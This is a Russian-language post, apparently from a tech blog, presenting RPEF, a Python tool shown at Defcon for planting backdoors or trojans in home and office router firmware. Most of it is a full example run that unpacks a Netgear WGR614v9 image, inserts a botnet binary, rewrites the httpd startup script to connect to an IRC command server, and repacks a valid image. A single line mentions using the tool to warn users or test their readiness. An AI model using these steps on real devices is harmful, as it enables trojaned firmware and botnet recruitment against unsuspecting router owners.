• Партнер

  • Сетевые устройства и маршрутизаторы лучше всего подходят для проведения атак, потому что их можно поставлять с бэкдором «из коробки», а антивирусы не определяют вредоносный кода в прошивке.

    Приложение/скрипт RPEF (Router Post-Exploitation Framework) на языке программирования Python — удобное средство для внедрения бэкдора или трояна в прошивку. Использовать программу очень просто, вот основная команда:

    ./rpef.py <firmware image> <output file> <payload>

    Утилиту показали на хакерской конференции Defcon в августе этого года. Она поддерживает работу с распространёнными домашними и офисными маршрутизаторами производства Netgear, Linksys, D-Link и Belkin.

    В поражённой прошивке с бэкдором хорошо сочетаются сетевой снифер и клиент ботнета.

    Программу RPEF можно использовать для предупреждения уязвимых пользователей, проверки их готовности определить источник атаки и устранить его.

    Пример использования

    $ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
    [+] Verifying checksum
        Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
        Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
    [+] Extracting parts from firmware image
        Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
        Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
    [+] Unpacking filesystem
        Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
            Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
    
            created 217 files
            created 27 directories
            created 48 symlinks
            created 0 devices
            created 0 fifos
    [+] Inserting payload
        Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
        Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
        Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
        Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
        Step 5: Appendtext "#!/bin/msh
    " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    [+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
    [+] INPUT REQUIRED, Port of IRC server: 6667
    [+] INPUT REQUIRED, Channel to join (include #): #hax      
    [+] INPUT REQUIRED, Prefix of bot nick: toteawesome
        Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
    " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
        Step 7: Appendtext "/usr/sbin/httpd.bak
    " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
        Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    [+] Building filesystem
        Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
            Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
            Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
    
            Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
            Filesystem size 1442.99 Kbytes (1.41 Mbytes)
                29.38% of uncompressed filesystem size (4912.18 Kbytes)
            Inode table size 2245 bytes (2.19 Kbytes)
                33.63% of uncompressed inode table size (6675 bytes)
            Directory table size 2322 bytes (2.27 Kbytes)
                55.26% of uncompressed directory table size (4202 bytes)
            Number of duplicate files found 3
            Number of inodes 293
            Number of files 218
            Number of fragments 22
            Number of symbolic links  48
            Number of device nodes 0
            Number of fifo nodes 0
            Number of socket nodes 0
            Number of directories 27
            Number of uids 1
                root (0)
            Number of gids 0
    [+] Gluing parts together
        Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
        Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
        Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    [+] Padding image with null bytes
        Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
    [+] Generating CHK header
        Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
            Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
    [+] Removing temporary files
        Step 1: Rmdir /tmp/tmpOaw1tn/

    Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии